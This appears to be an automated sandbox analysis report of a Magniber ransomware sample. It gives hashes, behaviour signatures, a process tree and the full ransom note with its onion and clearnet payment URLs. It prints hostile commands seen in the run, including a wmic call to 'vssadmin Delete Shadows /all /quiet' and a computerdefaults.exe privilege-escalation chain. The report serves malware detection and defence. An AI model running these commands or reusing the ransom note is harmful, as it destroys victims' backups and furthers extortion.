Analysis

  • max time kernel
    153s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    29-08-2021 11:34

General

  • Target

    3.dll

  • Size

    38KB

  • MD5

    8ca2c9564335afda47c143bf9342df82

  • SHA1

    414b57313341832f875133db8f4e5a43059546c8

  • SHA256

    5586765852943b5d8bc647bfeaebf0fb5894b5fd5839b749cb8d41068d22aebe

  • SHA512

    7f210454015fcced266fae77c2da3bea740ee91800fa49b4e5f242ae854ea386758dcb29ff96538b3d424e9a4c198c067683a243bc7aae3bc06c1413b85f4e66

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://fc48b4d8daec44d00ayhocbpfzn.ntjflrx6uhwcmfhnn3yewv2wfhtqtjyfkvyrvjz4wuo6uw33yw7sfiid.onion/yhocbpfzn Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://fc48b4d8daec44d00ayhocbpfzn.bitslet.uno/yhocbpfzn http://fc48b4d8daec44d00ayhocbpfzn.canyour.xyz/yhocbpfzn http://fc48b4d8daec44d00ayhocbpfzn.ballcan.xyz/yhocbpfzn http://fc48b4d8daec44d00ayhocbpfzn.dogper.space/yhocbpfzn Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://fc48b4d8daec44d00ayhocbpfzn.ntjflrx6uhwcmfhnn3yewv2wfhtqtjyfkvyrvjz4wuo6uw33yw7sfiid.onion/yhocbpfzn

http://fc48b4d8daec44d00ayhocbpfzn.bitslet.uno/yhocbpfzn

http://fc48b4d8daec44d00ayhocbpfzn.canyour.xyz/yhocbpfzn

http://fc48b4d8daec44d00ayhocbpfzn.ballcan.xyz/yhocbpfzn

http://fc48b4d8daec44d00ayhocbpfzn.dogper.space/yhocbpfzn

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: MapViewOfSection 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\3.dll,#1
    1⤵
    • Modifies extensions of user files
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\system32\notepad.exe
      notepad.exe C:\Users\Public\readme.txt
      2⤵
      • Opens file in notepad (likely ransom note)
      PID:2364
    • C:\Windows\system32\cmd.exe
      cmd /c "start http://fc48b4d8daec44d00ayhocbpfzn.bitslet.uno/yhocbpfzn^&1^&46006851^&68^&283^&2215063"
      2⤵
      • Checks computer location settings
      PID:2844
    • C:\Windows\system32\wbem\wmic.exe
      C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2884
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4028
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4012
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3996
      • C:\Windows\system32\wbem\WMIC.exe
        C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
        3⤵
          PID:2376
    • C:\Windows\system32\cmd.exe
      cmd /c computerdefaults.exe
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4040
      • C:\Windows\system32\ComputerDefaults.exe
        computerdefaults.exe
        2⤵
          PID:636
      • C:\Windows\system32\cmd.exe
        cmd /c computerdefaults.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1356
        • C:\Windows\system32\ComputerDefaults.exe
          computerdefaults.exe
          2⤵
            PID:2316
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe Delete Shadows /all /quiet
          1⤵
          • Process spawned unexpected child process
          • Interacts with shadow copies
          PID:3508
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
            PID:2492
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
            1⤵
            • Drops file in Windows directory
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:3536
          • C:\Windows\system32\browser_broker.exe
            C:\Windows\system32\browser_broker.exe -Embedding
            1⤵
            • Modifies Internet Explorer settings
            PID:2268
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4148
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies Internet Explorer settings
            • Modifies registry class
            PID:4216
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            PID:4456

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Public\readme.txt

            MD5

            78b47785b627d8e9b825474f7904b27f

            SHA1

            3badf34f4d48c9505927e2ea06d4b931c6e0011d

            SHA256

            527edb1d1dc3ab54d35ff7f7f61817f2a74dd55b0583f1882a869f2c4b7ac724

            SHA512

            0999cd1a92de33177b8c43375552868b821a621c888acfe750d6413587325aac8019cb421319c4281a95185d2605674da39de3b56f2b0adde9148fd06432e856

          • memory/636-142-0x0000000000000000-mapping.dmp

          • memory/800-124-0x0000020E68DF0000-0x0000020E68DF1000-memory.dmp

            Filesize

            4KB

          • memory/800-125-0x0000020E68E00000-0x0000020E68E01000-memory.dmp

            Filesize

            4KB

          • memory/800-118-0x0000020E68C60000-0x0000020E68C61000-memory.dmp

            Filesize

            4KB

          • memory/800-119-0x0000020E68C70000-0x0000020E68C71000-memory.dmp

            Filesize

            4KB

          • memory/800-120-0x0000020E68C80000-0x0000020E68C81000-memory.dmp

            Filesize

            4KB

          • memory/800-121-0x0000020E68C90000-0x0000020E68C91000-memory.dmp

            Filesize

            4KB

          • memory/800-122-0x0000020E68DD0000-0x0000020E68DD1000-memory.dmp

            Filesize

            4KB

          • memory/800-123-0x0000020E68DE0000-0x0000020E68DE1000-memory.dmp

            Filesize

            4KB

          • memory/800-115-0x0000020E68C30000-0x0000020E68C31000-memory.dmp

            Filesize

            4KB

          • memory/800-116-0x0000020E68C40000-0x0000020E68C41000-memory.dmp

            Filesize

            4KB

          • memory/800-117-0x0000020E68C50000-0x0000020E68C51000-memory.dmp

            Filesize

            4KB

          • memory/800-114-0x0000020E68E50000-0x0000020E69404000-memory.dmp

            Filesize

            5.7MB

          • memory/800-141-0x0000020E6E430000-0x0000020E6E431000-memory.dmp

            Filesize

            4KB

          • memory/800-131-0x0000020E6C900000-0x0000020E6C901000-memory.dmp

            Filesize

            4KB

          • memory/800-132-0x0000020E6C910000-0x0000020E6C915000-memory.dmp

            Filesize

            20KB

          • memory/2316-143-0x0000000000000000-mapping.dmp

          • memory/2364-133-0x0000000000000000-mapping.dmp

          • memory/2376-140-0x0000000000000000-mapping.dmp

          • memory/2844-135-0x0000000000000000-mapping.dmp

          • memory/2884-136-0x0000000000000000-mapping.dmp

          • memory/3744-130-0x0000021380020000-0x0000021380028000-memory.dmp

            Filesize

            32KB

          • memory/3744-128-0x0000021380030000-0x0000021380038000-memory.dmp

            Filesize

            32KB

          • memory/3744-127-0x0000021380020000-0x0000021380021000-memory.dmp

            Filesize

            4KB

          • memory/3744-126-0x0000021380030000-0x0000021380038000-memory.dmp

            Filesize

            32KB

          • memory/3996-138-0x0000000000000000-mapping.dmp

          • memory/4012-139-0x0000000000000000-mapping.dmp

          • memory/4028-137-0x0000000000000000-mapping.dmp